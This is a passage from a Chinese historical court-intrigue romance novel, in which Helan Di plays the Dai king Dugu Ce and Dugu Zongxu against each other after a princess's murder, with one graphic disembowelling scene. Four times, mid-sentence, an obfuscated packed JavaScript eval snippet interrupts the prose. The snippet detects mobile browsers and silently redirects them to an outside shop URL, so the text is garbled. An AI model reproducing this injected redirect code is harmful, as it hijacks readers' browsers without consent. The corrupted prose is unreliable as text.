独孤策不知该如何形容自己此时的心情,或许是内疚,或许是后悔,又或许是纯粹的心疼。他不敢开口,怕自己苍白的安慰,成了助长她委屈的帮凶。只能将她抱得更紧,就像抱着一个失而复得的宝贝。 “独孤策,为什么还要让我再见到你……”她勉力止着哭泣,沙哑着声音哀哀地问,“为什么我们还要再见……” 为什么还要再见……独孤策也这样问自己。或许这就是上苍开得玩笑,惩罚他当初的不告而别吧。 他不想解释,当初他是想过回去接她的,但是等他终于有机会回去时,贺兰部已经被灭,而她也杳无音讯了。 年少时的悸动总是敌不过现实的磋磨,午夜梦回时或许有遗憾,但并不能让他驻足悲伤,毕竟那时,他都不知道自己能活多久,会不会死在某一场战争里,又或者死在仇敌精心设计的圈套里。 朔风凌冽地刮过来,他将她放了下来,一手替她紧了紧身上的白狐裘,一手揽住了她的腰肢,迫着她靠近。 “贺兰荻……”深邃的眼眸垂下,一瞬不瞬地盯在贺兰的脸上,他有话想说,但到了口边却又不知该说什么。 不过贺兰没有给他说话的机会,她忽然伸手,狠狠地推了独孤策一把,只可惜她气力太小,没有推动对方半分,反而自己踉跄地向后退了几步,撞在了粉墙之上。 沉沉地倒吸了口气,眼里又蕴起了泪水。她没有再说什么,只是哀伤又倔强地望了独孤策一眼,踽踽向远处走去。 “阿荻!”独孤策不由自主地叫了她一声。 她闻言回首,泪水还挂在脸上,将落未落:“今日多谢大王,妾告辞了。” 方才的委屈和依恋都消弭在了她此刻的疏离和客套之中,可她越躲避否认,独孤策就越笃定她对自己情意深重,从未消弭。 他追上去,不顾她的挣扎,再次将她抱在了怀中,强势又霸道:“阿荻,你本就是我的女人,还要躲到哪里去?” 躲到哪里去呢?她才不躲,凡有所赐,皆为命定,她不在意那些无聊的爱恨,她想要的只有切实的安稳,能握在手里的生机。 既然眼泪是武器,这一次她便要将其利用的彻底,这出戏少了独孤策,还怎么能唱的下去。 她不再挣扎,彻底软倒在独孤策的怀中。 …… 贺兰睡到夜半,见西园仍有火光闪烁,人声也一直未停,干脆披衣而起,自顾自地斟了一杯凉茶。 “娘子,放凉的茶可不能乱喝,小心腹胀。”素商听到声音已走了进来。她身上虽然披着衣服,却还是冷得打了个摆子。 “快躺回去,受了凉可不是闹着玩的。”素商有时很像上了年纪的妇人,细心是真细心,啰嗦也是真啰嗦。 贺兰放下杯盏,揉了揉额心,问道:“那边有什么动静?” “乞伏那归的手下全都招了,说是得了他的命令,用弓弦勒死了公主。”贺兰派了人盯在那里,消息传回的很快,这也是素商一直未睡的原因。 “娘子,分明是封阙下的手,怎么乞伏那归这边却招了?”素商不解。 “因为怕死啊,所以干脆都招了,免得受皮肉之苦。”贺兰笑着回答,她生着一双漂亮的眼睛,又圆又亮,笑起来却弯弯的,带着少女般的纯真。可是素商知道,她的笑很少发自肺腑,很多时候不过是一种习惯罢了。 “可是……”素商绞尽脑汁也没明白贺兰这样设计的目的,“他们一想也知道,乞伏那归不过是惊弓之鸟,他没有理由破坏此次联姻。” “傻姑娘, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546676|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这就是我们的目的啊,独孤策多疑,一定会顺着查下去。”贺兰敲了敲素商的脑袋,“我苦苦将封阙留在这里,不就是等他们查的么?” 她用指点了点几案,左右长夜漫漫,和人说说话才不无聊。 “他今夜怒气上头,会暂时迷失,但只要冷静下来,定会怀疑到我。”贺兰娓娓道出,“还有独孤宗绪,他看似温润,其实心思很深,既然我是乞伏那归所赠,他怎么可能不探查清楚底细。我越是讨好他,他就会越会心生怀疑,想必这几日已经查出乞伏那归和慕容泓的关系了吧。” 素商恍然:“所以,娘子故意将怀疑都引到自己身上……” 说完,她又觉得不可置信,一双眼睛死死盯着贺兰:“娘子这样做,不是让自己陷入危险么?” “筹谋这么久,容不得半分闪失,鱼死网破也不是不可以……”贺兰挪了挪身体,眼睛有意无意地看向屋外。 月过中天,但动静还是没消停下来,今夜该是多少人的不眠夜啊! “娘子别胡思乱想,总还是有办法的,哪里需要你犯险,为了那个畜生,不值得……”素商急的都要哭了。 但贺兰却很平静,她打了个哈欠:“美人计用到这个地步,也算没白费我的花容月貌。” 素商急急道:“娘子这样好看,谁会不喜欢,依奴看代王也不是全然无情……” 贺兰的神色僵了僵,却只摇头:“说什么余情未了,不过是心有不甘。他如今多威风啊,整个草原的人都畏惧他,仰慕他。这时他重逢故人,看到我过得这样可怜,心里总是有些触动……” “而且……他比我们还想让此事闹大。他的所求与这些人都不同,慕容家的那些事他不关心,他要的是另一个借口。” “什么借口?” “查出什么,什么就是借口。”贺兰讳莫如深的笑了笑。 素商心中忐忑,但见贺兰沉着从容,多少也放了心。她胡乱擦了擦脸上的泪,恭维道,“娘子聪慧,想必已经思虑周全了。奴什么都不怕,只是担心娘子涉险。” 贺兰忍不住笑了,对她道:“我也不知道,只是猜测罢了。不过都到了这会儿了,想逃也来不及了,勉力一试,说不定就有生机。” 月华流转,悄然拂过窗棂,低低照了半个屋子。 贺兰望着凄然的月色,陷入了沉默。许久,她轻轻地打了个哈欠,像是终于知道了疲倦。 “睡吧,一觉起来或许就什么都知道了,咱们走一步看一步,能不能成事,全在天意。”她拍了拍素商的手,吩咐道,“替我准备一套丁香色的衣裙,发饰要那种白色的羽毛,就是我在贺兰部时经常戴的那种……” 素商虽不大明白她的意思,但仍一口答允了下来,依言去准备。 紫衣白羽,恰如初见。他或许记得,或许忘得干净,她不奢求他记得,只要一点点模糊的印象便够了。 能被利用,是她对他最后的一点期待。 12. 十二、身入局 查清事情真相,有时候比想象中要快很多,只要愿意,总有千万条线索钻出来,即使布局的人漏洞百出,也一定会被有心人利用着,补足所有的细节,让整个事情看着天衣无缝。 譬如这件事,不知为什么就指向了两股势力,一个自然是渤海王慕容泓,另一个确是宇文部。 “一个是陈留王想要的结果,一个是独孤策想要的结果,真有趣。”大雪终于停了,气候仿佛一瞬间就和暖起来,这边地的冬日终于也要结束了。 贺兰将窗外最后绽放的一株梅剪下,插在了屋中的青玉瓶里。 “娘子,主公让你去一趟书房。”有人前来通传道。 贺兰忖了一下,将看了一半的那卷《左氏传》合上,拿在了手中。 回廊曲折,绕了许久,才发现并不是去书房的路。 “这是要带我去哪儿?”贺兰停下,皱眉问前来通传的侍女。 侍女脚步不停,连头都没回:“主公命奴带娘子去书房。” “可这并不是去书房的路。”贺兰对今日之事早有预料,但毕竟害怕横生枝节,于是略有踟蹰。 “奴只管带人,其他的一概不知。”那侍女侧过头,如实回答。 “让你唤我的,不是乐陵公吧……让我猜猜,可是代王殿下?”她故意走得徐缓,一面四处张望。 回廊曲折,方向却是东边,远处那个梅树深掩的院落,不正是独孤宗绪安排给独孤策的暂居之所么。 左右仍在计划中,贺兰眼眸一转,已想到了应对的方法。 踏进屋中,她看到了独孤策坐在胡床上,姿态悠闲,神色却阴郁。 他的脚边却跪着一个人,佝偻着背,已经打得看不出原本的样子了。 “你来了。”独孤策比了比身边的坐塌,又示意仆从们退下。 门扉阖上,室内陡然昏暗,几束光漏过雕花的窗棂,闲闲照了进来,恰好落在独孤策的脸上。他的眼睫很长,金闪闪的垂下时,便将所有的情绪都挡了起来,莫测的厉害。 贺兰恍惚想起初见之时。 草原上的篝火燃得旺,跃动着欢快的节奏,在喝得东倒西歪的人群里,他静静地坐着,一双极漂亮的眼眸被火焰所染,灼灼迫人。 这样好看的少年,只是气质有些阴郁,像是沉着很多心事。 恰在此时,他也看了过来,四眸相对,贺兰低了头,赧然而笑。 “阿荻,坐过来。”这一声将贺兰拉回了现实。其实过去了这么久,他的样貌和声音都没有太大变化,是她没有在意罢了。 一抬头,有泪盈睫,贺兰望着独孤策,手紧紧攥着书卷,脚步迟疑。 明明生得明艳无比,偏喜欢做出这种楚楚可怜的样子,偏就能让他生出恻隐和怜爱的心。 他的手滑过她发上的白羽,怔了怔,眼眸里有一瞬晦暗和恍惚。 贺兰以为他会说什么,但他却没有,只是抓住了她的手,轻轻一扯,迫着她坐了下来,还倒在了他的怀中。 贺兰缩了一下,仰头,哀哀地看着他。 “伤好些了吗?”独孤策伸手,捏了捏她尖尖的下颌,语气很温和,但是眼光却凌厉。 贺兰没有回答,只是看向那个绑缚着双手,呻吟在旁的人。 “认识他吗?”独孤策的声音响在耳边,另一只手落在贺兰的肩上,有种古怪的亲密。 独孤策却有几分本事,也不枉她递了一个又一个的破绽。若他真是个昏聩无能的人,那这局棋也没什么意思了。 既然他明察秋毫至此,贺兰当然愿意和他继续周旋下去。 贺兰将手放在独孤策的手上,挪开他的钳制,婉转地看着他的眼睛,轻轻点了点头。 好胜心在这一瞬燃起,她平静从容的自己都想不到。 “看仔细了,确实认识?”他追问。 “自然认识,这个人一直在威胁我,我早就想找个机会杀了他。难道大王今日是想替我报仇?”听着是撒娇询问,却分明是挑衅和试探。 她与当年果然不同了,一身的尖刺伪装在温柔可人的表象之下,时不时就有伤人的危险。 “你不说他做了什么,让孤如何替你做主?”他换了一个自称,施施然等待她的狡辩。他比从前高大了太多,微微俯身时,压迫感便如山峦蔽日,让人不自禁地心生畏惧。 “我就知道……”贺兰长长叹了口气,撑着身体站了起来,踱了几步到窗边,留给独孤策一个萧索孤清的背影。 “大王便如雄鹰一般,翱翔于天际,哪里会在意一个小女子的悲喜。是我僭越了,不该心存奢望……”她微垂了头,叹息了一声。 再回头时,眼睛虽然红红的,但却再没有一丝破碎的光芒。 “此人名叫封阙,渤海王慕容泓的人。”她吸了口气,缓声道,“大王还想知道什么?” “你与慕容泓……又是何关系?”独孤策并没有心软,问出的话犀利直白。他直直看着贺兰的眼睛,迫着她与自己对望,不容闪躲。 贺兰没有闪躲,秋水空濛,竭力掩藏起悲伤,但是唇却被她咬得一片苍白。 “那年……”她开口前,手微微发抖,一时不知该放在哪里,最后只好捏住了自己的裙角,“你走后没多久,慕容泓作为使者来了贺兰部,他一眼看中了我,所以阿父就将我送给了他。” 大概是羞愧,贺兰的脸上带着诡异的红,这样的颜色染到了眼眸上,就让她看着越发娇柔可怜。 独孤策脸色很阴沉,却没有说话,而是等着贺兰继续说下去。 “事后,他未将我带回洛阳,而是留在草原上,命我为他所用。”贺兰的手已经攥得发白,但还是说了下去,“我有把柄在他那里,只能帮他……” “这次帮他做了什么?” “他想让我找机会,破坏此次联姻。” “再无其他?”独孤策追问。 贺兰摇了摇头。 “公主之死,是你做的?”独孤策的问题密集地抛来,带着咄咄逼人的气势。但贺兰却自始至终都很平静,声音又缓又柔。 “我不过是个弱女子,没有胆子杀人。若不是为渤海王所迫,我根本不会出现在你面前……” 贺兰的泪又一次落下,这次有了簌簌难歇的趋势,她哭得双肩颤抖,但声音却压抑着,像个受了委屈的小兽。 独孤策踢了一脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546677|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半死不活的封阙:“她说得……当真?” 封阙缩了缩,忙不迭地点头。 独孤策默了很久,日光在他茶色的眸中流转,看不到情绪。他忽然想到了什么,起身走到贺兰面前,扶住了她发抖的肩。 “他到底用什么威胁了你?” 贺兰的哭声陡然滞了一下,闪躲着他的迫视,声音低如蚊蚋:“何必要问……” “这并不难知道……”他回身,又重重地踹了封阙一脚,在听到他的叫声后,冷笑道,“此人是个孬种,还没有怎么用刑就全招了,你就算想隐瞒,他恐怕也不给你这个机会。” “那你又何必逼问我,问他便好。”她打定主意不说,望着封阙的表情带着轻蔑。 未等独孤策发怒,她已经将双手举到了他面前,泪痕尚存,人却倔强:“要杀要剐,悉听尊便,反正我命从来不由己,被你取走……也算是了个因果。” 独孤策看着贺兰这张惑人的脸,额心跳了跳,眉头不自觉皱了起来。 过往种种,走马灯般的涌现在脑海中,他忘了很多事,但还有一些却没忘。他记得那时她很胆小,人也拘谨的厉害,只会用她那双漂亮的眼睛,无声地表达着她纤细又隐晦的情绪。 喜悦、担忧、依恋……他忽视了太多,却总会在午夜梦回时想起。 那般纯真清澈,如苇草般易折。 这样的女子到底经历什么,才变成了如今的模样,这些改变又有多少是因为他? 她的手停在空中,见他不应,便这样僵着,认命般得沉默,却也倔强地让人下不来台。 独孤策敛起了眼底的伤感,看向封阙时,却骤然狠厉。 寒光从眼前一闪而过,贺兰感觉有东西溅到了裙角上,她趔趄着向后退了几步,忽然听到一声变了调子的尖叫。 独孤策的佩刀此时正深深扎进了封阙的腹中,那些溅到裙角的东西,是血! 血腥气仿佛顺着她的裙裳往上攀爬,很快就爬到了她的鼻中,爬到了她的眼底。她看到封阙的一截肠子随着独孤策收刀的动作被带了出来,满地的肮脏混乱,像是屠户家来不及清理的屠宰现场。 胸口闷闷的,胃里控制不住的翻江倒海,可是那人的眼神那样锐利,那样寒凉,根本不给她表演脆弱的机会。 她惨白着一张脸,将视线移到独孤策脸上,静静地看着他,手心都要被自己掐烂了。 “大王,这是什么意思?”她颤抖着唇,问。 “说出实情,我不伤害你。”独孤策拿起佩刀,见上面有血污,嫌恶地在封阙衣衫上蹭了几下。 刀未归鞘,说明杀意仍在。 封阙在地上蠕动着,呻吟着,像一只可悲的虫蚁。看着前些日子还在自己面前趾高气昂的人,如今落了这般下场,贺兰并没有半点快意,只觉兔死狐悲。 “若是我不说呢?大王准备如何?”她仰头,哀哀地问。 “你知道的,我不杀女人,何况你我有旧,”他伸手,抚上了她姣好的面庞,在上面轻轻摩挲了几下,“可是阿荻,你做下这样的事,不管是慕容泓还是乐陵公都不会让你活命。” “你唯一能依靠的,是我。” 13. 十三、旧情缠 唯一的依靠…… 曾经她是听过这句话的。 彼时她穿着嫁衣,被他圈在怀中,两个完全陌生的人用这样亲密的姿势来熟悉彼此,怎么想都觉得怪异。 她远离故土,随随便便像牲口一样被送了人,心里满是委屈和抗拒。他流亡于此,硬着头皮接纳一个陌生女人,也难免憋闷。青庐恰如牢笼,身上的嫁衣都只是枷锁和镣铐。 那时,她听到他说:“贺兰荻,嫁给我让你受委屈了,可是你放心,我会对你好的。迟早我会夺回一切,绝不让你陪着我担惊受怕,颠沛流离。” 她不过回应了一个不置可否的笑。 颠沛流离,担惊受怕……这些词想想都可怕呢,她想要的东西很多,很显然他一个都给不了。他目前能给的,只有自己噩梦中一遍又一遍重复的场景,那样的日子,她一天都不想过。 见她不应,他扳过她的脸,迫着她四目相对。 “你我夫妇一体,我们是彼此唯一的依靠。”一字一句,虔诚的像是在对着佛像发愿。 他生着一张俊美无俦的脸,高大挺拔的身躯,聪慧无双的头脑,还有异于常人的胆魄。这些都是她一度喜欢过的,她不否认。 可是少女的绮思就那么一点,淡得像天上的流云,风轻轻一吹,散的无影无踪。短短一载的缘分,那个人初春离家,深秋姗姗而归,到了冬日一场雪过,彻底离开贺兰部,从此再没有回来。 唯一的依靠么?不如一张果腹的髓饼,不如一盏温热的牛乳,不如一件越冬的皮毛…… “大王当真要我说吗?”她努力弯起唇角,眼中却又弥漫起了湿意。 “慕容泓手中捏着我父汗的命,就是那个当初排除万难收留你,曾被你叫做‘阿舅’的人。” “他……” “贺兰部灭亡后,我父汗被送到了洛阳,晋帝看似给他封了个不大不小的官,但其实将他软禁起来,时时羞辱。我若是不听慕容泓的,我父汗和族人都会死。” “大王耳聪目明,岂会不知道?” “既然知道,又何须多此一举的问我。” “你这般做,不就是为了吓唬我吗?我都招了,全都招了,我哪里有胆子欺瞒你……代王殿下!” 她用这些话,这个称呼,倾吐这自己的怨气。将他们之间的爱恨织成密密的网,将彼此都困在其中,无法挣脱。 纤纤细弱的一个女子,揭人伤疤时又狠又准,很有骨气,也很有勇气。 独孤策一时无语,第一次在她美丽的皮囊下,看到一些他不曾看到的东西。 他默然望着她,甚至期待她继续梗着脖子和自己对抗,唇角甚至带了一丝笑。 她却像是忽然意识到了自己的处境,被抽干气力般得颓然地瘫在了地上。她没有哭,只是失魂落魄地望着地上蔓延而来的血,凄然又无助。 “父汗对我有养育之恩,我没有办法对他的生死视而不见,大王若是非得要一个交代,那就杀了我吧。”她的脸色苍白一片,越发显得一双湿漉漉的眼眸黑的发亮。 鬼使神差地,独孤策忽然伸手,将眼前这个纤细脆弱的女子紧紧抱在了怀中,任凭她挣扎哭闹,也没有放手。她的委屈从呜咽变成嚎啕,变成捶打在自己胸口的拳头,变成了撕咬在他肩膀上的利齿。 他闭上眼,感觉那疼痛从肩上穿过了浑身的血液,最后汇集在了心口。 这些年他一直未曾娶妻生子,在阿母面前也只推说是事务繁忙,连他自己都说不清为什么。东征西战消耗了太多的精力,繁忙的庶务让他一直没有机会追忆些什么,只有在睡梦中才会感觉心口那处空荡荡的,但他不知道该怎么去填满。 怀中之人的眼泪滚滚落下,湿了他的衣襟,提醒着他那些放不下的东西究竟是什么。那个年少时满目惊艳的初见,是他在那段悲苦岁月里,唯一的一抹亮色。 茕茕白兔,东奔西顾,衣不如新,人不如故。 他莫名想起汉人的诗里有这样一句,倒也应和了他此时的心境。 “说什么傻话。”他拍着贺兰的背,叹息道。那双锐利深邃的眼眸中情绪浑浊又复杂。 他想到了离别前的那一夜。屋外寒风呼啸,屋中红绡帐暖,佳人依偎在怀中恬然入梦,而他睁着眼睛彻夜未眠。他知道自己的离开意味着什么,可是他别无选择。 阿母的信中说得清楚,一切都准备就绪,只等他回归。他需要趁独孤炜重伤且诸子未回之际,夺回独孤部首领之位,杀掉仇人,完成父汗遗愿。 为了这些,他和阿母已经付出了太多,他不能为了任何事放弃。何况,他迟早会回来接她的。 结发为夫妻,就算她对自己冷淡至极,他也不会背弃这份患难所结的缘分。 “慕容泓是晋主长子,位高权重,他不会轻易放过我的。”贺兰声音有些沙哑,抽噎道。 “阿荻,一切有我。”草原男儿答应别人的事情,赴汤蹈火也是要做到的。这一次,他不会食言。 贺兰听闻此言,缓缓闭上眼睛。 谋划了这么久,演的这样辛苦,终于等到了这句话。她有些疲惫,柔软地靠在独孤策身上,给了他此时最想要的依恋和信任。 独孤策其实没说错,如今她能依靠的人,也只有他了。 她是个识时务的人,不会和自己闹别扭,哪条路好走她就走哪一条。独孤策或许会不顾她的性命,但对于那个在困境中伸过援手的阿舅贺兰越,他不会置之不理。 他是个重情义的人,这一点她不能否认,只是他对自己的情意还不足以让她有恃无恐。 …… 贺兰荻从独孤策那里出来时,已经夕阳西下,她望了一眼垂在天际的那轮晕黄,眯了眯眼眸。 屋中血气太盛,还是此间天地广阔,让人舒怀。 “娘子,你脸色很不好。”素商上前,为她披上大氅,却一眼看到了她身上的血迹。她不安地看着贺兰,关心的话滚在嘴边,怎么也问不出来。 贺兰看了她几眼,微微扯了个笑容,道:“没什么,回去吧。” 槐序一向嘴快,今日却寡言,跟在后面亦步亦趋,直到转过了回廊,才讷讷道:“奴有话想和娘子说。” 贺兰听到此言,脚步却未停,声音里透着疲惫:“说什么?说你其实不是乐陵公的人,而是代王的眼线?还是说你将自己所见都告诉代王,不过都是迫不得已?” 身后之人明显愣住了,半晌都没有跟上来。 贺兰回身,见槐序的脸涨红一片,本就瘦小的身躯瑟瑟缩缩的,必是承受着巨大的恐惧和内心的煎熬。 她其实很能理解槐序。这个世道活着本来就艰难,何况是一个无依无靠的小女郎。她本就在独孤部长大,与自己相处日浅,替独孤策做事着实算不上背主,这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16549291|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反而是自己利用了她。 贺兰看着槐序一张单纯到懵懂的脸,心里暗暗地叹,她跟了自己这么些天,总还是有感情的。不是槐序有心替自己遮掩,今日她就不会这么轻易的瞒过独孤策去。 幽幽叹了口气,贺兰轻拍了一下槐序的肩膀,无奈道:“你我皆不由己,我说过,在我心中你与素商她们是一样的,我无依无靠,只有你们了。” 槐序不敢去看贺兰的眼睛,只能一味啜泣,听她这样说心中更是难受,扯住她的裙角哭得停不下来。 贺兰自觉是个麻木的性子,但这样悲切的哭声,还是让她心里酸酸的。 “地上凉,快起来。”她拽起槐序,给她使了个眼色。太守府的侍女耳聪目明,好奇心也重,这会儿已经三五成堆,向着此间好奇的张望过来了。 槐序赧然,赶紧止了哭泣,缩着头往回走。 远处阁楼上,独孤宗绪负手立在槛边,将一切都收入眼中。他不爱饮酒,半杯残盏停在手里许久,清冽的水波中倒映出血红一片的天色。 这场酒吃的实在憋闷。 此事表面看和他没有分毫关系,但却好像怎么都脱不了关系。纳贺兰荻的人是他,放过乞伏那归的人也是他。如今乞伏那归勾结慕容泓刺杀公主和陈留王,破坏联姻之事已经坐实,一切矛头又指向了独孤策如今的心腹之患宇文部。 他这个身份尴尬的王叔,只会因为这件事,更加受到猜忌。 他不由长叹了一声,双眉轻蹙而起。 “想不到代王竟然就这样放过了她……”慕容泠斜斜地倚在窗边,笑道。夕阳熔金,落在他昳丽的脸上,带着几分闲逸潇洒的况味。 “大王一向是个长情的人。”独孤宗绪叹道。 他一贯端雅,少有失态之时,但今日看着却满面寂寥之色,想来心绪烦乱,已顾不得掩藏。 “明公何须伤怀,此女的确貌美,被她一时蛊惑,也是人之常情。不过……”慕容泠顿了顿,斟酌道,“也不知代王是否愿意体谅,若他因此事迁怒到明公头上,那明公才真是冤枉……” 独孤宗绪没有接话,只将杯盏中的酒饮了干净。燕关的酒很烈,不过略饮几杯,竟然有几分熏然。 “此代国内事,就不劳殿下操心了。”独孤宗绪回到席间,示意慕容泠饮酒,然后整了整衣衫,从从容容地坐了下来。 慕容泠被他堵了一句,却不恼,只是依言饮了杯中的酒。 他的脸上总是带笑,给人一种很好相与的感觉。但独孤宗绪清楚,这不过是表象,这个四殿下城府深不可测,一言一行皆有目的。 “虽是代国内部之事,但本宫到底也为明公不平。明公战功赫赫,又对代王有恩,他实在不该如此……” “殿下多虑。”仍是淡淡一句话。 慕容泠示意侍从为独孤宗绪斟酒,自己那半盏却纹丝未动,换了个话头,又道:“代王既然知道贺兰氏与此事牵连颇深,偏不肯怪罪于她,足见旧情难舍。明公不如顺水推舟,将她献给代王,如此也能和缓些关系。” 说罢,低笑了一声:“虽说佳人难再得,到底也只是个妇人。明公胸怀宽广,若不弃,本王再为你寻个绝色,可好?” 独孤宗绪摇了摇头:“殿下好意,外臣心领。不过殿下也说,佳人难再得……” 慕容泠不好再说什么,举了举手中的酒盏,相邀共饮。 14. 十四、佳人心 新月初升,银辉稀稀落落地洒到人间,院中梅香阵阵,独孤宗绪缓步踏过满地碎玉,心绪一阵荡漾,不由在花树下立了许久。 他饮了很多,但眼睛却一片澄明清朗,只是酒气荡漾在胸口,人比往常多思多感了些。 “主公,热水备好了,您这便去沐浴吗?”侍女见他归来,迟疑着上前问道。 他伸手,折了一支梅。 “贺兰娘子今日可来过?”独孤宗绪执梅而问。 侍女摇了摇头:“未曾。” 她每日都会来,有时会为他收拾房间,有时会给他带些点心,有时会拿着书来讨教……她是个很有心的女子,聪慧的恰到好处。 独孤宗绪垂目细细打量手里的花枝,见花已经稀疏凋落,残存的几朵也开得颓败,不觉怅然。 女子太聪慧了,也会伤人吧。 “可要奴去叫娘子过来?”墨竹试探着问道。 独孤宗绪摇头,将手里的花枝扔了,独自往屋中走去。 让花盛放在枝头吧,哪怕枯萎,也该回到它最适应的地方去。 “好好的花枝扔了做什么?”一个声音轻柔响起,娇嗔一般,“原以为将军准备摘了送给我呢。” 独孤宗绪一回头,就见一身绯色衣裙的女子俏立在花树下,笑盈盈地看着他。 她很少穿这样的艳色,似乎害怕被它夺走人的目光一般。但她不知道,她美得太过夺目,任什么都无法喧宾夺主,与她争辉。 独孤宗绪忽然笑了起来,平素矜持起的容仪,此刻张扬出一种少有的少年气。 他几步上前,将贺兰紧紧揽在了怀中,笑音缠在她的耳边:“喜欢哪一枝,我便给你摘哪一枝,好不好?” 她想了想,很有些得寸进尺:“想要最高处的哪一枝,也可以吗?” “自然可以。” 他放开她,挽起了衣袖,顿了一下,又将衣袍撩起,塞进了腰带中。贺兰看着他如此行为,忍俊不禁,又故作疑惑道:“将军这是做什么?” 他 不答,指了指树顶。那里一簇梅花开得极盛,隐在皎皎月色中,孤清却艳绝。 独孤宗绪攀着树干,不过两个闪身,人就到了树顶。轻轻一伸手,他便将那株梅折到了手中,扬了扬手,对着树下的贺兰炫耀地笑。 “快下来,怪危险的。”贺兰跺了跺脚,急道。 “这梅树才多高,比这高得多的树,我也不是没有爬过。”轻轻一跃,独孤宗绪已经落到了她面前,将梅枝递到了她手中。 清香徐徐,沾染在他的衣襟上,贺兰垂眸,握着手中的花枝,心里微微颤动。 “边地无所有,聊赠一枝春。”他的声音很柔和,朦胧旖旎,恰如此时之月。 她拿着花枝,含蓄地笑。 “贺兰?”他忽然这样叫她。 “什么?”她疑惑的眨了眨眼睛,等待着他说话。 她生着一双多情的眼睛,空濛一瞥,就能让人心动尘生。 “今夜留下来,可好?”说这句话,独孤宗绪的嗓音有些发干,或许怀着某种过于强烈的期许,等待的时间,变得格外漫长。 他没有放过对方任何一个微小的表情。 所以在触到她的惊讶,害羞,还有随之而来的闪躲后,心口的一处陡然变得空落落的。 她什么情绪都有,唯独少了情意。 原来一切都是自己在自欺欺人罢了。 可笑的是,在她说出拒绝的话之前,他已经领先一步,将自己的回答都想好了。 她的回答,果然不出所料:“我……身体还没大好……让将军失望了,都是我自己不争气……” 说完,她低着头,像极了做错事情的孩子,不安又羞怯。 真有意思,她连骗人都能骗的这般情真意切……不过这样的婉转,也是她的慈悲。她本就受了逼迫才来到自己身边,如今威胁荡然无存,难得她还肯给彼此一个体面。 他不该怨怪于她。 “贺兰,”还是忍不住又一次抱住了她,说了一句自己都觉得多余的承诺,“我会对你好的。” 她没有说什么,就这样沉默地让他抱着,似乎没有太大的情绪波动。 …… 乞伏那归被族诛的消息传回洛阳时,渤海王慕容泓正在尚书省处理一些事务。侍从长绪趁他身边无人,悄悄趋过去,附耳低语了几句。 “消息可靠?”他的眉紧紧皱起,眼中蕴起了几分怒气。 长绪压着声音:“陆常侍的消息,应该无误。” 常侍陆安在御前最得脸,既然是他说得,那便是千真万确了。 慕容泓握拳,在案上重重捶打了一下,脸色越发难看:“封阙这狗东西怎么半点消息也传不回来?这样的废物留他何用!” 这一声有些大,几个当值的官员不由抬头,向这边看了过来。 渤海王领了尚书左仆射一职后,履职很是勤勉,每每退朝便会来处理事务,尚书省的官员也慢慢习以为常。不过他脾气不好,所以他在时,其他人便都十分谨慎,不肯发出太大动静,惹他不快。 今日不知又是谁惹着了,看他脸色一片铁青的样子,有眼色地早就退了开去。 “封将军多日没有消息,确实反常,会不会出事了?”长绪一面觑着他家主上的脸色,一面将自己的猜测说出,“那女人不安分,谁知道会不会坏事。” “她?”慕容泓不屑,“她敢么?” 自然是不敢的,当初她被贺兰越送到自己身边时,起初还张牙舞爪地想要反抗,找尽一切机会想要逃走。他不耐,折伤了她一只手,她就再也没了脾气。 不过是个贪生怕死的女人罢了,如今连萧恪都被他捏在手里,她哪有胆子敢生贰心。 若不是谢氏在陛下面前进了谗言,萧家如何能留到现在。他如今是越来越看不明白他的父皇了,人到中年,竟然添了心慈手软的毛病,可见美色误人太深。 “多派些人去燕关,本宫倒要看看咱们这个陈留王能掀起什么风浪出来……”慕容泓摩挲着玉扳指,声音沉沉地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16561828|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “是!”长绪答应着,退了出去。 慕容泓望着窗外细如牛毛的雨丝,紧紧抿着唇,思索着自己的计划。 他不清楚,关于燕关发生的种种,早就被人传到了御前,而随着密信一起来的,正是他失了联系的心腹封阙。 皇帝慕容桓已近不惑,但样貌看着却分外年轻英俊。他睨着殿中垂首站着的文士,一双细长的眼睛里沉淀着别人看不出的情绪。 